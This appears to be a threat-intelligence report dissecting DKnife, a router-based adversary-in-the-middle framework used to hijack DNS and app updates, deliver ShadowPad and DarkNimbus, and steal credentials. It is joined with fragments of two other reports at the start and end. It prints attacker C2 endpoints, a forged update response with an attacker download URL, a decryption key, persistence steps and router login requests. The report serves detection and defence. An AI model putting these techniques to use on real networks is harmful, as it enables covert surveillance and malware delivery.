The implementation of DNS-over-HTTPS (DoH) via Cloudflare’s DNS service to circumvent traditional DNS security, along with the process hollowing technique to reflectively execute the decrypted payload in targeted legitimate Windows binaries like ImagingDevices.exe, and the sideloading of malicious DLLs in disguised file name “propsys.dll”, were observed in the tradecraft of the North Korean APT actor Lazarus. 

In addition to the observed technical characteristics similarities of the tools, the use of multiple top-level domains (TLDs) including “.design”, “. software”, and “. online”, with varying case patterns, also aligns with the operational preferences of Lazarus. While UAT-10027's malware shares technical overlaps with the Lazarus Group, the campaign’s focus on the education and health care sectors deviates from Lazarus’ typical profile of cryptocurrency and defense targeting. However, Talos has historically seen that North Korean APT actors have targeted the health care sector using Maui ransomware, and another North Korean APT group, Kimsuky, has targeted the education sector, highlighting the overlaps in the victimology of UAT-10027 with that of other North Korean APTs. 

Coverage

The following ClamAV signature detects and blocks this threat: 

• Win.Loader.Dohdoor-10059347-0 
• Win.Loader.Dohdoor-10059535-0 
• Ps1.Loader.Dohdoor-10059533-0 
• Ps1.Loader.Dohdoor-10059534-0 

The following SNORT® Rules (SIDs) detect and block this threat: 

• Snort2 – 65950, 65951, 65949
• Snort3 – 301407, 65949

Indicators of compromise (IOCs) 

The IOCs for this threat are also available at our GitHub repository here. 

• Cisco Talos uncovered “DKnife,” a fully featured gateway-monitoring and adversary-in-the-middle (AitM) framework comprising seven Linux-based implants that perform deep-packet inspection, manipulate traffic, and deliver malware via routers and edge devices. Based on the artifact metadata, DKnife has been used since at least 2019 and the command and control (C2) are still active as of January 2026.
• DKnife’s attacks target a wide range of devices, including PCs, mobile devices, and Internet of Things (IoT) devices. It delivers and interacts with the ShadowPad and DarkNimbus backdoors by hijacking binary downloads and Android application updates.
• DKnife primarily targets Chinese-speaking users, indicated by credential harvesting for Chinese-language services, exfiltration modules for popular Chinese mobile applications and code references to Chinese media domains. Based on the language used in the code, configuration files and the ShadowPad malware delivered in the campaign, we assess with high confidence that China-nexus threat actors operate this tool.
• We discovered a link between DKnife and a campaign delivering WizardNet, a modular backdoor known to be delivered by a different AiTM framework Spellbinder, suggesting a shared development or operational lineage.

---

Background 

Since 2023, Cisco Talos has continuously tracked the MOONSHINE exploit kit and the DarkNimbus backdoor it distributes. The exploit kit and backdoor were historically used for delivering Android and iOS exploits. While hunting for DarkNimbus samples, Talos discovered an executable and linkable format (ELF) binary communicating with the same C2 server as the DarkNimbus backdoor, which retrieved a gzip-compressed archive. Analysis revealed that the archive contained a fully featured gateway monitoring and AiTM framework, dubbed “DKnife” by its developer. Based on the artifact metadata, the tool has been used since at least 2019, and the C2 is still active as of January 2026. 

Link between DKnife and WizardNet campaigns 

During Talos' pivot on the C2 infrastructure associated with DKnife, we identified additional servers exhibiting open ports and configurations consistent with previously observed DKnife deployments. Notably, one host (43.132.205[.]118) displayed port activity characteristic of DKnife infrastructure and was additionally found hosting the WizardNet backdoor on port 8881. 

WizardNet is a modular backdoor first disclosed by ESET in April 2025, known to be deployed via Spellbinder, a framework that performs AitM attacks leveraging IPv6 Stateless Address Autoconfiguration (SLAAC) spoofing. 

Network responses from the WizardNet server align closely with the tactics, techniques, and procedures (TTPs) documented in ESET’s analysis. Specifically, the server delivered JSON-formatted tasking instructions that included a download URL pointing to an archive named minibrowser11_rpl.zip, which include the Wizardnet backdoor downloader.  

{ 
  "CSoftID": 22, 
  "CommandLine": "", 
  "Desp": "1.1.1160.80", 
  "DownloadUrl": "http://43.132.205.118:81/app/minibrowser11_rpl.zip", 
  "ErrCode": 0, 
  "File": "minibrowser11.zip", 
  "Flags": 1, 
  "Hash": "cd09f8f7ea3b57d5eb6f3f16af445454", 
  "InstallType": 0, 
  "NewVer": "1.1.1160.900", 
  "PatchFile": "QBDeltaUpdate.exe", 
  "PatchHash": "cd09f8f7ea3b57d5eb6f3f16af445454", 
  "Sign": "", 
  "Size": 36673429, 
  "VerType": "" 
} 

Spellbinder’s TTPs, which involve hijacking legitimate application update requests and serving forged responses to redirect victims to malicious download URLs, are similar to DKnife’s method of compromising Android application updates. Spellbinder has also been observed distributing the DarkNimbus backdoor, whose C2 infrastructure previously led to the initial discovery of DKnife. The URL redirection paths (http[:]//[IP]:81/app/[app name]) and port configurations identified in these cases are identical to those used by DKnife, indicating a shared development or operational lineage.  

Targeting scope  

Based on artifacts recovered from the DKnife framework, this campaign appears to primarily target Chinese-speaking users. Indicators supporting this assessment include data collection and processing logic explicitly designed for Chinese mail services , as well as parsing and exfiltration modules tailored for Chinese mobile applications and messaging platforms, including WeChat. In addition, code references to Chinese media domains were identified in both the binaries and configuration files. The screenshot below illustrates an Android application hijacking response that targeted a Chinese taxi service and rideshare application. 

It is important to note that Talos obtained the configuration files for analysis from a single C2 server. Therefore, it remains possible that the operators employ different servers or configurations for distinct regional targeting scopes. Considering the connection between DKnife and the WizardNet campaign and given ESET’s reporting that WizardNet activity has targeted the Philippines, Cambodia, and the United Arab Emirates, we cannot rule out a broader regional or multilingual targeting scope. 

Indication of Chinese-speaking threat actors 

DKnife contains several artifacts that suggest the developer and operators are familiar with Simplified Chinese. Multiple comments written in Simplified Chinese appear throughout the DKnife configuration files (see Figure 2). 

One component of DKnife is named yitiji.bin. The term "Yitiji" is the Pinyin (official romanization system for Mandarin Chinese) for "一体机" which means "all-in-one." In DKnife, this component is responsible for opening the local interface on the device to route traffic through a single device in this scenario. 

Additionally, within the DKnife code, when reporting user activities back to the remote C2 server, multiple messages are labelled in Simplified Chinese to indicate the types of activities. 

DKnife: A gateway monitoring and AitM framework 

DKnife is a full-featured gateway monitoring framework composed of seven ELF components that perform traffic manipulation across a target network. In addition to the seven ELF components that provide the core functionality, the framework comes with a list of configuration files (see Appendix for the full list), self-signed certificates, phishing templates, forged HTTP responses for hijacking and phishing, log files, and backdoor binaries. 

 The framework is designed to work with backdoors installed on compromised devices. Its key capabilities include serving update C2 for the backdoors, DNS hijacking, hijacking Android application updates and binary downloads, delivering ShadowPad and DarkNimbus backdoors, selectively disrupting security-product traffic and exfiltrating user activity to remote C2 servers. The following sections highlight DKnife’s key capabilities and explain how its seven ELF binaries work together to implement them. 

Targeted platform 

DKnife binaries are 64-bit Linux (x86-64) ELF implants that run on Linux-based devices. One of the components remote.bin imports the library "libcrypto.so.10", indicating it targets CentOS/RHEL-based platforms. Configuration elements such as PPPoE, VLAN tagging, a bridged interface (br0), and adjustable MTU and MAC parameters suggest that DKnife is tailored for edge or router devices running Linux-based firmware.  

Key capabilities 

The Deep Packet Inspection (DPI) logic and modular design of DKnife enable operators to conduct traffic monitoring campaigns ranging from covert monitoring of user activity to active in-line attacks that replace legitimate downloads with malicious payloads. The following sections highlight the framework’s key capabilities including: 

• Serving C2 to Android and Windows DarkNimbus malware 
• DNS hijacking 
• Android Application binary update hijacking 
• Windows binary hijacking 
• Anti-virus traffic disruption 
• User activity monitoring 

Serving updated C2 to the Android and Windows DarkNimbus backdoors 

In previously published research about the DarkNimbus backdoor, analysts noted that some samples communicated with their C2 servers using a custom protocol, leading to the hypothesis that the backdoor operated within an AiTM environment. Talos' discovery of DKnife validates this assessment. 

DKnife is designed to work with both Android and Windows variants of DarkNimbus. For the Windows version, the dknife.bin component inspects UDP traffic and sends them to port 8005. When it identifies a request containing the string marker DKGETMMHOST, it constructs and returns a response specifying the C2 server address. The response includes two parameters: DKMMHOST and DKFESN. The DKMMHOST value is read from DKnife’s configuration file ("/dksoft/conf/server.conf"), which contains the line MMHOST URL=[value]. The DKFESN value represents a device identifier that DKnife retrieves from an internal server located at "192.168.92.92:8080".  

For the Android variants, the backdoor attempts to contact a Baidu URL "http[:]//fanyi.baidu[.]com/query_config_dk" to retrieve its C2 information. This URL does not return any response from Baidu itself; rather, it serves as a recognizable trigger for DKnife, which intercepts the request and injects the C2 response.  

DNS hijacking 

The DKnife framework relies on two main configuration files to control its DNS-based hijacking and attack logic. The dns.conf file defines the global keyword-to-IP mapping rules and framework parameters used for DNS interception. The perdns.conf file extends this by defining per-target or campaign-specific DNS attack tasks, including timing parameters such as interval and duration for each attack. In the archive we obtained from the C2 server, only perdns.conf was present; it contained a template for setup rather than active attack data. 

DKnife supports both IPv4 and IPv6 DNS hijacking: 

• IPv4 (A) DNS hijacking:
  • For configured domains: replies with the per-domain IPv4 from dns.conf 
  • For test.com: replies with 8.8.8.8 (and logs) 
  • For JD-related domains (“api.m.jd.com”, “beta-api.m.jd.com”, “api.jd.co.th”, or “beta-api.jd.co.th”): replies with 10.3.3.3 
• IPv6 (AAAA) DNS hijacking:
  • For configured domains and for test.com: replies with fixed IPv6 IP 240e:a03:a03:303:a03:303:a03:303 (crafted) 

The private IP address 10.3.3.3 belongs to the local interface created by the yitiji.bin component in DKnife. DKnife uses the local interface for delivering malicious binaries (see the following section). The crafted AAAA response is not an actual public address. When DKnife sees traffic addressed to that crafted IPv6, it checks the last 8 bytes of the address and converts it to the local interface address 10.3.3.3.  

The code also specially tempers the domains associated with mail services. It takes the queried domain, removes any trailing period if present, then splits on “.” and extracts the leftmost label (e.g., “mail.example.com” into “mail”). It then looks up that label in the same per-domain configuration. Once the attack flag is enabled and the cooldown window has elapsed, it immediately injects a configured response to replace the original response.  

Android application binary update hijacking 

DKnife can hijack and replace Android application updates by intercepting the update manifest requests. When an Android application sends an APK update manifest request, DKnife intercepts it, consults the configuration file, and selects the corresponding JSON response file to reply. This response contains a download URL redirecting to the URL of address 10.3.3.3, which DKnife recognizes and routes to the yitiji.bin created Local Area Network (LAN) to deliver malware instead of the legitimate update APK. 

 The configuration file /dksoft/conf/url.cfg defines the rules and responses used for traffic blocking, phishing on Android and Windows platforms, executable file (.exe)  hijacking, and credential-phishing page responses. The file follows the format: [Request URL] [Response JSON file] as shown in Figure 11. 

Within the /bin/html/dkay-scripts folder of the DKnife archive, there are 185 JSON files configured to hijack applications. The targeted applications are mostly popular Chinese-language services (some only available in China), including news media, video streaming, image editing apps, e-commerce platforms, taxi-service platforms, gaming, and pornography video streaming, among others. An example response used to hijack a Chinese photo editing application update request is shown below: 

Windows binary hijacking for delivering Shadowpad and DarkNimbus 

In addition to Android update hijacking, DKnife also supports hijacking of Windows and other binary downloads. The hijacking rules are set up during initialization. DKnife attempts to read the rules configuration file at /dksoft/conf/rules.aes and decrypts it using a variant of the Tiny Encryption Algorithm (TEA) algorithm employed by Tencent’s older OICQ/QQ login protocols, commonly referred to as QQ TEA. DKnife decrypts the file with a key dianke0123456789, and saves the decrypted file as rules.conf.  

Talos did not obtain the rules.aes file from the archive we downloaded. However, based on the code analysis, rules.conf is the configuration to define what requests to match, what to send back, when to throttle and tracking the response. The rules include the following information:  

Field in the line	Description
id=<number>	Rule ID
host=<regex>	Matching host IP
user_agent=<regex>	Matching User Agent
url=<regex>	Matching URL
file=<relative path>	Relative file name points into “/dksoft/html/dkay-scripts/”.
location=<HTTP Location>	HTTP location used for 302 redirects
msg=<plain text>	Message for operator
interval=<sec>	Minimum seconds between two injections to the same victim
duration=<sec>	How long the rule stays active once triggered

After reading the rules into a data structure in the memory, the rules.conf file is deleted on the device. When an HTTP request’s Host and URI match the configured rule, DKnife evaluates the rule’s duration and interval timers to determine whether to trigger. If the rule fires and the requested filename has a matching extension (e.g., “.exe”, “.rar”, “.zip”, or “.apk”), DKnife forges an HTTP 302 redirect whose Location URL is taken from the rule’s data field. 

If the binary download URL matches a specific pattern (“.exe” extension after the query symbol), the file name is replaced with install.exe. 

Shadowpad and DarkNimbus backdoors 

The install.exe file (SHA256: 2550aa4c4bc0a020ec4b16973df271b81118a7abea77f77fec2f575a32dc3444) is found in the downloaded archive under path /dkay-scripts/. It is a RAR self extraction package containing three binaries, that are actually ShadowPad and the DarkNimbus backdoor, which both being reported [1,2] used by China-nexus threat actors. When launched, the legitimate .exe (TosBtKbd.exe) sideloads the ShadowPad DLL loader (TosBtKbd.dll), which then loads the DarkNimbus DLL backdoor (TosBtKbdLayer.dll). That DarkNimbus backdoor calls out to the Cloudflare DNS address 1.1.1.1, which DKnife intercepts to return the real C2 IP. 

The Shadowpad sample has not been previously reported but is very similar to a previously reported sample. Although it uses a different unpacking XOR seed key, it employs the same unpacking algorithm. 

The Shadowpad samples (both .exe and .dll) are signed with two certificates both issued from the signer “四川奇雨网络科技有限公司”. This is a company located in Sichuan Chengdu, China specialised in developing computer software and providing network communication devices, according to publicly available information. Pivoting on this signer, Talos found 17 samples that contain the Shadowpad and DarkNimbus backdoor.  

Anti-virus traffic disruption 

The DKnife traffic inspection module actively identifies and interferes with communications from antivirus and PC-management products. It detects 360 Total Security by searching HTTP headers (e.g., the DPUname header in GET requests or the x-360-ver header in POST requests) and by matching known service domain names. When a match is found, the module drops or otherwise disrupts the traffic with the crafted TCP RST packet. It similarly looks for and disrupts connections to Tencent services and PC-management endpoints. 

Recognized Tencent-related domains: 

• dlied6.qq.com 
• pcmgr.qq.com 
• pc.qq.com 
• www.qq.com/q.cgi 

Keywords used to match 360 Total Security-related domains: 

• 360.cn 
• 360safe 
• qihucdn 
• duba.net 
• mbdlog.iqiyi.com 

User activity monitoring 

DKnife inspects traffic to monitor and report user’s network activity to its remote C2 in real time. Observed telemetry categories include messaging (Signal and WeChat activities including voice/video calls, sent texts, received images, in-app article views), shopping, news consumption, map searches, video streaming, gaming, dating, taxi and rideshare requests, mail checking, and other user actions. Most of the activity reports are triggered by monitoring the request to service/platform domains or URLs. When reporting, the code sends a corresponding embedded message representing the reported activity. For example, Figure 18 shows the code to report Signal messaging activities. The message sent to remote C2 translates to “Using Signal encryption chat APP”. 

The table below shows some of the observed telemetry categories and the embedded messages.  

WeChat activities	微信打语音或视频电话 (WeChat voice or video calls)  微信发送一条文字消息 (WeChat send a text message)  微信发送或者接收图片 (WeChat send or receive picture)  微信打开公众号看文章 (WeChat checking official account and articles)
Using Signal	使用signal加密聊天APP (Use the Signal encrypted-chat app)
Shopping activity	查询**商品信息 (Query product information on **)
Query train-ticket information	查询火车票信息 (Query train-ticket information)
Searching on Maps	查看**地图 (View the map)
Reading News	****看新闻 (Read news)
Dating Activity	****打开时 (When the dating app opens)

Email/platforms credential harvesting and phishing 

DKnife can harvest credentials from a major Chinese email provider and host phishing pages for other services.  For harvesting email credentials, the sslmm.bin component presents its own TLS certificate to clients, terminates and decrypts POP3/IMAP connections, and inspects the plaintext stream to extract usernames and passwords. Extracted credentials are tagged with "PASSWORD", forwarded to the postapi.bin component, and ultimately relayed to remote C2 servers. 

DKnife can also serve phishing pages. The phishing routes are defined in url.cfg, and several phishing templates were discovered under /dkay-scripts/. All discovered pages submit harvested passwords to endpoints whose paths end with dklogin.html; however, no dklogin.html file was found in the local script directory. 

In addition to the capabilities described above, Talos observed DKnife functions that may target IoT devices. Talos is coordinating with the device vendor on mitigations. 

The DKnife downloader 

The ELF binary (17a2dd45f9f57161b4cc40924296c4deab65beea447efb46d3178a9e76815d06) we discovered from hunting is a downloader that downloads and performs initial setup for the DKnife framework. Upon execution, it attempts to load a configuration file from /dksoft/conf/server.conf to set up the C2 server. The server.conf file contains the C2 configuration in the format UPDATE URL=[config]. If the file does not exist, the binary defaults to the embedded C2 URL http://47.93.54[.]134:8005/. 

After configuring the C2, the binary retrieves or generates a UUID for the host device based on the MAC addresses of its network interfaces and stores it in /etc/diankeuuid. The UUID follows the format YYYYMMDDhhmmss[MAC1][MAC2] (e.g., 20240219165234000c295de649). The updater also stores a 32-character hexadecimal MD5 checksum in /dksoft/conf/<UUID>.ini, which is later used to verify updates from the C2 server.  

The code establishes persistence by modifying the /etc/rc.local file, a script commonly used to execute commands and scripts after the system boots and initializes services. The updater adds its commands between markers #startdianke and #enddianke. It also copies the currently running executable into the /dksoft/update/ directory and appends a corresponding entry to /dksoft/update/[executable path] auto to ensure the binary runs automatically each time the system starts. 

After creating the folders for DKnife deployment, the downloader fetches the DKnife archive from the C2 and launches every binary in /dksoft/bin/ using nohup [filepath] 2>/dev/null 1>/dev/null &. The folder contains seven binaries, each performing a distinct role within the DKnife framework. 

DKnife’s seven components 

The seven implants in DKnife serve the purpose of DPI engine, data reporting, reverse proxy for AitM attack, malicious APK download, framework update, traffic forwarding, and building P2P communication channel with the remote C2. A summary of the components and their roles are listed in the table below:

ELF Implant	Role	Description
dknife.bin	DPI & Attack Engine	The main engine of DKnife. Includes logic for deep packet inspection, user activities reporting, binary download hijacking, DNS hijacking, etc.
postapi.bin	Data Reporter	Performs as traffic labelling and relay component, receives traffic from DKnife and reports to remote C2.
sslmm.bin	Reverse Proxy	Reverse proxy server module modified from HAProxy. TLS termination, email decryption, and URL rerouting.
mmdown.bin	Updater	Malicious Android APK downloader/updater. It connects to C2 to download the APKs used for the attack.
yitiji.bin	Packets Forwarder	Creates a bridged TAP interface on the router to host and route attacker-injected LAN traffic.
remote.bin	P2P VPN	Customized N2N (a P2P) VPN client component that creates a communication channel to remote C2.
dkupdate.bin	Updater & Watchdog	Updater and Watchdog to keep the components alive.

The graph below shows how the seven DKnife components work together. 

DKnife.bin 

The dknife.bin implant is the main component that acts as the brain of DKnife. It is in charge of all the packet inspection and attack logics, as described in the Key Capabilities section. Upon execution, the implant does some initial setup for the framework. It reads the configuration file /dksoft/conf/wxha.conf to search for the sniffing interface (INPUT_ETH) and attacker interface (ATT_ETH). If the config file is not presented, the default interface for both are eth0. It also reads configuration files for attacking rules and remote C2.  

Throughout the packet inspection process, dknife.bin reports information including collected data, user’s activities, attack status and average throughput to the relay component postapi.bin listening at the 7788 port on the device. The reporting packets are a 256-byte UDP datagram with a fixed seven bytes prefix DK7788. At offset 0x40 a label is attached, which represents types of the information (example types including DKIMSI for IMSI information, USERID for harvested user accounts, WECHAT for WeChat activities reporting, ATKRESULT for attack results, etc). Each type of reporting has the corresponding report value format. We listed some examples in the graph below.  

Postapi.bin 

This is the data relay component in DKnife. It receives forwarded UDP dataframe from dknife.bin, processes, identifies, and labels the data and sends them to remote C2 servers. When receiving the UDP dataframe, it validates the DK7788 prefix and extracts device ID, MAC address, source and destination IPs and ports. It then exfiltrates more interesting data based on the rules defined in file ssluserid.conf. The file is a rulebook for defining the targeted services/platforms and the corresponding scrapping data. The rules define the following methods for scraping: 

• get_url: scrape a value from the URL of a GET request  
• get_cookie: scrape from Cookie header of a GET  
• post_url: scrape from the URL of a POST  
• post_cookie: scrape from Cookie header of a POST  
• post_content: scrape from the body of a POST  

Each rule also defines which data fields to collect. These include device IDs, phone numbers, IMEIs/IMSIs, MACs, UUIDs, IPs, usernames, etc. DKnife targets dozens of popular Chinese-language mobile and web apps, some of which are only available to Chinese users. Figure below shows part of the rules in the configuration file

Postapi.bin loads the configuration file server.conf to obtain the address of the remote C2 server used for data exfiltration. If the file is missing, it defaults to https://47.93.54[.]134:8003. The component uses libcurl to send different types of exfiltrated and reporting data via HTTP POST requests to specific API endpoints. The following table lists the reporting URLs and the corresponding data transmitted.

Default URL in the binary	Data Transmitted
https://47.93.54[.]134:8003/protocol/tcp-data	Full HTTP or DNS records: URL, headers, optional body (Base-64); raw packet excerpts
https://47.93.54 [.] 134:8003/protocol/channel-trigger-log	DKnife status log, debugging logs
https://47.93.54 [.] 134:8003/protocol/virtual-id	Bundles of device identifiers (IMEI, IMSI, phone number, MAC, UUID, IP) tied to a host name
https://47.93.54 [.] 134:8003/protocol/user-account	Harvested user credentials
https://47.93.54 [.] 134:8003/protocol/application	Posts per-application DNS/traffic-hijack data
https://47.93.54 [.] 134:8003/protocol/target-info	Online/offline heart-beat for a specific subscriber: PPPoE, MAC, last-seen time, device UUID
https://47.93.54 [.] 134:8003/public/bind-ip	IP&UUID bindings
https://47.93.54 [.] 134:8003/protocol/internet-action	WeChat/QQ “internet action” logs (e.g., friend-adds, file-sends)
https://47.93.54 [.] 134:8003/protocol/attack-result	Logs of attacking results

The posted data always include a dkimsi=<IMSI> at the end of the data, which is the IMSI or mobile identifier extracted from the packets if available. The binary set a default IMSI 460110672021628 in the code, which is an IMSI with a China Telecom carrier. 

Sslmm.bin 

This component acts as the reverse proxy server for the AitM attack and is implemented as a pre-configured, customized build of HAProxy. It loads its primary configuration from sslmm.cfg and performs request hijacking and replacement according to rules defined in url.cfg. Copies of hijacked traffic and execution results are encapsulated as UDP dataframes and sent to the postapi.bin component, similar to the behavior implemented in dknife.bin. 

In addition to standard HAProxy proxying, sslmm.bin includes custom logic to inspect, log, exfiltrate, and conditionally rewrite client HTTP(S) requests after TLS termination. Content injection is primarily performed through HTTP request-line replacement, redirecting victims to attacker-controlled resources that are typically hosted under the /dkay-scripts/ directory. The resulting telemetry and artifacts are then relayed via postapi.bin to remote C2 infrastructure. 

Operationally, the HAProxy configuration terminates TLS on HTTPS and mail-over-TLS ports (443, 993, 995) using a self-signed certificate stored at /dksoft/conf/server.pem, and proxies the decrypted traffic to the appropriate backends. A management/statistics interface is exposed on 0.0.0.0:10800 and protected only by static credentials. Requests matching the /dkay-scripts/ path are selectively downgraded to plain HTTP and routed to a local service at 127.0.0.1:81, enabling response modification or injection before content is returned to the client. 

This interception model depends on a key trust assumption: for the TLS MITM to be transparent, endpoints must accept the certificate chain presented by the gateway. One hypothesis is that the associated endpoint malware (given the broader DarkNimbus toolchain across Windows and Android) may be used to establish that trust or weaken certificate validation, enabling host-specific certificates to be presented during interception. However, we did not have the artifacts to confirm that such trust establishment or validation bypass is performed on victim devices.  

Yitiji.bin 

Yitiji.bin is a DKnife component that creates a bridged TAP interface on the router to host and route attacker-injected LAN traffic. It creates a virtual TAP interface named “yitiji”, using the IP address 10.3.3.3 and MAC address 1E:17:8E:C6:56:40, and bridges that interface to the real network. 

DKnife responds to binary download requests using URL points to the Yitiji interface (e.g., http://10.3.3.3:81/app/base.apk). When such a request is received, the dknife.bin component forwards the traffic to UDP port 555, where yitiji.bin is listening. The component then determines the appropriate link-layer encapsulation, reconstructs complete Ethernet/IP/TCP frames (primarily TCP and ICMP), corrects packet lengths and checksums, and injects them into the TAP interface. This causes the kernel to treat the forged traffic as legitimate LAN communication. Through this mechanism, DKnife can receive the binary download request and serve the payload via this interface. In the reverse direction, Yitiji captures packets leaving the TAP, restores their original VLAN/PPPoE/4G headers, recalculates IP and TCP checksums, and transmits them through the physical network interface specified in the configuration file /dksoft/conf/wxha.conf. It also fabricates ARP replies so other hosts treat the interface as a device in the LAN. 

In this way, Yitiji creates a distinct LAN for delivering the malware. This approach facilitates the AitM attack for binary downloads in a stealthy way that avoids IP conflicts and detection.  

Remote.bin 

This component functions as an N2N peer-to-peer VPN client. When executed it creates a virtual network device named “edge0” and attaches it to a P2P overlay, automatically joining the hardcoded community dknife and registering with the embedded supernode. All traffic routed into edge0 is encapsulated and forwarded over UDP to overlay peers, and the binary also binds a management UDP port on 5644. 

With this component, the gateway itself becomes reachable from the overlay and can serve as an egress point for data exfiltration. The implementation supports Twofish encryption if an N2N_KEY environment variable is supplied, but no such key was embedded in the analysed code or associated files. 

Mmdown.bin 

This binary is a simple Android APK malware downloader and update component in the DKnife framework. It communicates with a hardcoded C2 (http://47.93.54[.]134:8005) and periodically checks for an update manifest and then downloads whatever files the server specifies. 

On startup it ensures a handful of local directories exist and generates or reads the UUID from file /etc/diankeuuid to uses it as the filename for the downloaded per-host manifest file <UUID>.mm. The “.mm” file is a list of URLs and MD5 pairs in the format of http://[URL]<TAB><16-byte MD5>. After downloading the manifest file, it parses the file and repeatedly attempts to download each URL over plain HTTP, verifies the downloaded file’s MD5, and on success copies the file into the local web content directory /dksoft/html/app/. When one or more files are successfully fetched it archives the manifest into /dksoft/conf/<UUID>.mm and updates internal MD5 bookkeeping so it doesn’t repeatedly download the same files. 

Dkupdate.bin 

This binary functions as a DKnife download, deploy, and update component similar to the downloader we initially discovered, but with additional capabilities. It retrieves an update archive update_bin.tar.gz from a C2 server (using a different embedded default URL: http://117.175.185[.]81:8003/), launches a separate binary called eth5to2.bin (not included in the downloaded archive, likely for traffic forwarding) and starts Nginx to run the web server to serve the hijacking components that manipulate HTTP/HTTPS responses.

Getting Network Devices Information 

In both dknife.bin and postapi.bin components, DKnife tries to login to an interface which is likely for router management at 192.168.92.92:8080 via the following POST request to retrieve network users and PPPOE information. The POST request for login and getting device information both sent a password MD5 (which is the MD5 of q1w2e3r4) for authentication. If successful login, the server replies with a device serial number (SN) and number of users currently registered. If the number is not zero, the implant requests for the list of MAC and PPPoE ID mapping. 

POST /login HTTP/1.1 

Host: 192.168.92.92:8080 

Content-Type: application/json 

Content-Length: 38 

 

{"passwdMD5":"c62d929e7b7e7b6165923a5dfc60cb56"} 

 

POST /fe-device-info HTTP/1.1 

Host: 192.168.92.92:8080 

User-Agent: Mozilla/5.0 

Cookie: feWebSession={"sessionId":****} 

Content-Length: 48 

 

{"passwdMD5":"c62d929e7b7e7b6165923a5dfc60cb56"} 

 

POST /user HTTP/1.1 

Host: 192.168.92.92:8080 

User-Agent: Mozilla/5.0 

Cookie: feWebSession={"sessionId":} 

Content-Type: application/json 

Content-Length: 15 

 

{"index":"all"} 

Conclusion 

Routers and edge devices remain prime targets in sophisticated targeted attack campaigns. As threat actors intensify their efforts to compromise this infrastructure, understanding the tools and TTPs they employ is critical. The discovery of the DKnife framework highlights the advanced capabilities of modern AitM threats, which blend deep‑packet inspection, traffic manipulation, and customized malware delivery across a wide range of device types. Overall, the evidence suggests a well‑integrated and evolving toolchain of AitM frameworks and backdoors, underscoring the need for continuous visibility and monitoring of routers and edge infrastructure. 

Appendix 

Configuration Files 

Config file	In Default Archive	Description
/dksoft/conf/wxha.conf	Yes	Config for the attack and sniff interface, output environment, QQ proxy host.
/dksoft/conf/rules.aes  /dksoft/conf/rules.conf		rulebook for HTTP(S) traffic hijacking.
/dksoft/conf/dns.conf		DNS hijacking mapping configuration.
/dksoft/conf/url.cfg	Yes	Configuration for traffic blocking, Android + Windows phishing, executable file (.exe)  replacement, credential-stealer pages & scripts.
/dksoft/conf/server.conf		C2 configuration
/dksoft/conf/adsl.conf		Configuration related to the ADSL related rules
/dksoft/conf/userid.conf		Configuration to define what user information to collect from the targeted traffic.
/dksoft/conf/appdns.conf		Configuration to map domain names to certain apps.
/dksoft/conf/browser.conf		Configuration to map user agents to browsers.
/dksoft/conf/perdns.conf	Yes	DNS hijacking mapping configuration for more specific arguments for control.
/dksoft/conf/target.conf		Configuration about targets. Operator’s watchlist of subscriber identifiers (MAC or PPPoE)
/dksoft/conf/target_mac.conf		Shadow file of target list.
/dksoft/conf/ssluserid.conf		Read by postapi.bin, not in the archive by default. Traffic sniffing and data exfiltration playbook
/dksoft/conf/appname.conf		Configuration that lets the implant classify traffic for apps and attach rich context before sending it to C2 or using it in hijack/redirect logic.
/dksoft/conf/retry.conf		The rules to define what traffic for retry
/dksoft/conf/black.conf	Yes	The config file for blocking traffic
/dksoft/conf/white.conf		The config file for approving traffic
/dksoft/conf/datacenter.conf		mapping of UUID in URL&IP for the postAPI module.
/dksoft/conf/sslmm.cfg		Config for the sslmm HAproxy module.
/dksoft/conf/hosts		DNS list for triggering rules

Certificate 

Fingerprint=78:47:E0:0E:9C:0A:60:80:A6:48:CE:97:7F:30:63:7E:8A:D5:22:97:EA:10:8E:5F:CB:E9:87:48:49:BC:A5:47 

Certificate: 

    Data: 

        Version: 3 (0x2) 

        Serial Number: 

            c7:d6:08:d3:74:d1:a8:0e 

        Signature Algorithm: sha256WithRSAEncryption 

        Issuer: C=CN, ST=beijing, L=beijng, O=BEIJING JINGDONG SHANKE, OU=BEIJING JINGDONG SHANKE, CN=*.jd.com 

        Validity 

            Not Before: Jan  9 01:38:16 2020 GMT 

            Not After : Jan  4 01:38:16 2040 GMT 

        Subject: C=CN, ST=beijing, L=beijing, O=BEIJING JINGDONG SHANKE, OU=BEIJING JINGDONG SHANKE, CN=*.jd.com 

        Subject Public Key Info: 

            Public Key Algorithm: rsaEncryption 

Fingerprint=80:BC:19:8B:A9:E9:0E:62:50:4B:21:EC:69:2F:87:30:3B:7D:75:E7:A8:95:06:D3:0B:FA:52:18:57:23:3D:72 

Certificate: 

    Data: 

        Version: 3 (0x2) 

        Serial Number: 

            c0:5d:fd:b4:4c:28:07:72 

        Signature Algorithm: sha256WithRSAEncryption 

        Issuer: C=CN, ST=Sichuan, L=Chengdu, O=Default Company Ltd 

        Validity 

            Not Before: Sep 20 06:43:37 2018 GMT 

            Not After : Aug 27 06:43:37 2118 GMT 

        Subject: C=CN, ST=Sichuan, L=Chengdu, O=Default Company Ltd 

        Subject Public Key Info: 

            Public Key Algorithm: rsaEncryption 

Coverage 

The following ClamAV signature detects and blocks this threat: 

• Win.Trojan.Shadowpad-10010830-1 
• Win.Loader.WizardNet-10044819-0 
• Win.Trojan.DarkNimbus-10059255-0  
• Win.Trojan.DKnife-10059257-0 
• Unix.Trojan.DKnife-10059259-0   
• Win.Trojan.DKnife-10059260-0   

The following Snort rules cover this threat: 

• Snort 2 – 65533
• Snort 3 – 65533

Indicators of Compromise (IoCs) 

IOCs for this research can also be found at our GitHub repository here.

• Cisco Talos is closely tracking UAT-8837, a threat actor we assess with medium confidence is a China-nexus advanced persistent threat (APT) actor based on overlaps in tactics, techniques, and procedures (TTPs) with those of other known China-nexus threat actors.
• Based on UAT-8837's TTPs and post-compromise activity Talos has observed across multiple intrusions, we assess with medium confidence that this actor is primarily tasked with obtaining initial access to high-value organizations.
• Although UAT-8837's targeting may appear sporadic, since at least 2025, the group has clearly focused on targets within critical Infrastructure sectors in North America.

